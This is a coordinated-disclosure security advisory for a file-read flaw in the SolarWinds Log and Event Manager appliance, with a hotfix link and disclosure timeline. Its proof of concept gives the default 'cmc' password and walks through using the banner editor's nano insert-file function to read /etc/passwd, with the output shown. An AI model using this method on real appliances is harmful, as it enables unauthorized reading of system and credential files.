KL-001-2017-008 : Solarwinds LEM Management Shell Arbitrary File Read

Title: Solarwinds LEM Management Shell Arbitrary File Read
Advisory ID: KL-001-2017-008
Publication Date: 2017.04.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-008.txt


1. Vulnerability Details

     Affected Vendor: Solarwinds
     Affected Product: Log and Event Manager Virtual Appliance
     Affected Version: v6.3.1
     Platform: Embedded Linux
     CWE Classification: CWE-36: Absolute Path Traversal
     Impact: Information Disclosure
     Attack vector: SSH

2. Vulnerability Description

     The management shell allows the end user to edit the MOTD banner
     displayed during SSH logon. The editor provided for this is
     nano. This editor has a keyboard mapped function which lets
     the user import a file from the local file system into the
     editor. An attacker can abuse this to read arbitrary files
     within the allowed permissions.

3. Technical Description

     Should an attacker gain access to the SSH console for the
     cmc user, read access to files on the local filesystem can be
     achieved. The default password for the cmc user is "password".

     This is accomplished by abusing the editor selection for the
     MOTD banner edit functionality.

     $ ssh cmc@1.3.3.7
     Password:
     Linux swi-lem 3.2.0-3-amd64 #1 SMP Mon Jul 23 02:45:17 UTC 2012 x86_64
     Last login: Sun Dec 11 11:35:29 2016 from 1.3.3.6
       //////////////////////////////////////////////////
       ///       SolarWinds Log & Event Manager       ///
       ///                   management console       ///
       //////////////////////////////////////////////////

     Detected VMware Virtual Platform
     Product Support Key: RPFYJ-2L3RW-RV5T-GA3K-VLULC-XAPTH
     Available commands:
       [ appliance ]  Network, System
       [ manager ]    Upgrade, Debug
       [ service ]    Restrictions, SSH, Snort
       [ ndepth ]     nDepth Configuration/Maintenance
         upgrade      Upgrade this Appliance
         admin        Run Admin UI (for better usability browse https://1.3.3.7/mvc/configuration)
         import       Import a file that can be used from the Admin UI
         help         display this help
         exit         Exit
     cmc > appliance
     Available commands:
         activate           Activate appliance features after licensing.
         checklogs          Check Appliance Logs for Remote Data
         clearsyslog        Clear Syslog Logs
         cleantemp          * Clean Up Temporary Files
         multimanagerconfig * Enable/disable multimanager
         dateconfig         Update Date and Time
         dbdiskconfig       * Configure database retention
         diskusage          Check Disk Usage of your Manager
         diskusageconfig    Set Disk Usage Limit of your Manager
         editbanner         Edit the SSH login banner.
         exportsyslog       Export System Logs
         hostname           Change the Manager Appliance hostname
         import             Import SIM/LEM Backup to LEM
         limitsyslog        Configure the syslog rotation limit (default: 50)
         setlogrotate       Configure the syslog rotation frequency (hourly or daily)
         netconfig          Configure Network Parameters (IP Address, Netmask, DNS)
         ntpconfig          Update NTP Server Preferences
         password           Change the CMC User Password
         ping               Ping an IP address or hostname
         reboot             Reboot the Manager Appliance
         resetsystemmac     Reset the MAC address of the Appliance
         shutdown           Shut Down the Manager Appliance
         top                View Manager Appliance CPU/Memory Utilization
         tzconfig           Update Time Zone information
         viewnetconfig      View Network Parameters (IP address, netmask, DNS)
         exit               Return to main menu

         NOTE: Commands with an asterisk (*) include an automatic manager service restart
     cmc::appliance > editbanner
     Press <enter> to configure the SSH banner.

     Once inside nano, ^R to get the screen below:

     File to insert [from ./] : /etc/passwd
     ^G Get Help
     ^C Cancel

     The result will be:

     root:x:0:0:root:/root:/bin/bash
     daemon:x:1:1:daemon:/usr/sbin:/bin/sh
     bin:x:2:2:bin:/bin:/bin/sh
     sys:x:3:3:sys:/dev:/bin/sh
     sync:x:4:65534:sync:/bin:/bin/sync
     games:x:5:60:games:/usr/games:/bin/sh
     man:x:6:12:man:/var/cache/man:/bin/sh
     lp:x:7:7:lp:/var/spool/lpd:/bin/sh
     mail:x:8:8:mail:/var/mail:/bin/sh
     news:x:9:9:news:/var/spool/news:/bin/sh
     uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
     proxy:x:13:13:proxy:/bin:/bin/sh
     www-data:x:33:33:www-data:/var/www:/bin/sh
     backup:x:34:34:backup:/var/backups:/bin/sh
     list:x:38:38:Mailing List Manager:/var/list:/bin/sh
     irc:x:39:39:ircd:/var/run/ircd:/bin/sh
     gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
     nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
     Debian-exim:x:102:102::/var/spool/exim4:/bin/false
     trigeo:x:1000:1000:trigeo,,,:/usr/local/contego/:/bin/bash
     sshd:x:100:65534::/var/run/sshd:/usr/sbin/nologin
     postgres:x:101:104:PostgreSQL administrator,,,:/var/lib/postgres:/bin/bash
     cmc:x:1001:1000:CMC,,,:/usr/local/contego/:/usr/local/contego/scripts/mgrconfig.pl
     libuuid:x:105:107::/var/lib/libuuid:/bin/sh
     snort:x:103:105:Snort IDS:/var/log/snort:/bin/false
     messagebus:x:106:109::/var/run/dbus:/bin/false
     snmp:x:104:108::/var/lib/snmp:/bin/false
     lynx:x:1002:1003::/home/lynx:/bin/sh

4. Mitigation and Remediation Recommendation

     The vendor has released a Hotfix to remediate this
     vulnerability. Hotfix and installation instructions are
     available at:

     https://thwack.solarwinds.com/thread/111223

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     and Hank Leininger of KoreLogic, Inc.

6. Disclosure Timeline

     2017.02.16 - KoreLogic sends vulnerability report and PoC to
                  Solarwinds <psirt@solarwinds.com> using PGP key
                  with fingerprint
                  A86E 0CF6 9665 0C8C 8A7C  C9BA B373 8E9F 951F 918F.
     2017.02.20 - Solarwinds replies that the key is no longer in
                  use, requests alternate communication channel.
     2017.02.22 - KoreLogic submits vulnerability report and PoC to
                  alternate Solarwinds contact.
     2017.02.23 - Solarwinds confirms receipt of vulnerability
                  report.
     2017.04.06 - 30 business days have elapsed since Solarwinds
                  acknowledged receipt of vulnerability details.
     2017.04.11 - Solarwinds releases hotfix and public disclosure.
     2017.04.24 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt